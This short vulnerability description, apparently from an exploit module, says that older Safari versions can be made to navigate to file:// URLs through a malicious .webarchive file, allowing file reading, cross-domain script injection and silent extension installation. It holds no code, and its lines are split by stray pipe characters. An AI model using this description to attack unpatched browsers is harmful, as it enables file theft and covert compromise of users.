Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a
|
|
|
|
|
"state management issue" that allows a browser window to be navigated
|
|
|
|
|
to a file:// URL. By dropping and loading a malicious .webarchive file,
|
|
|
|
|
an attacker can read arbitrary files, inject cross-domain Javascript, and
|
|
|
|
|
silently install Safari extensions.
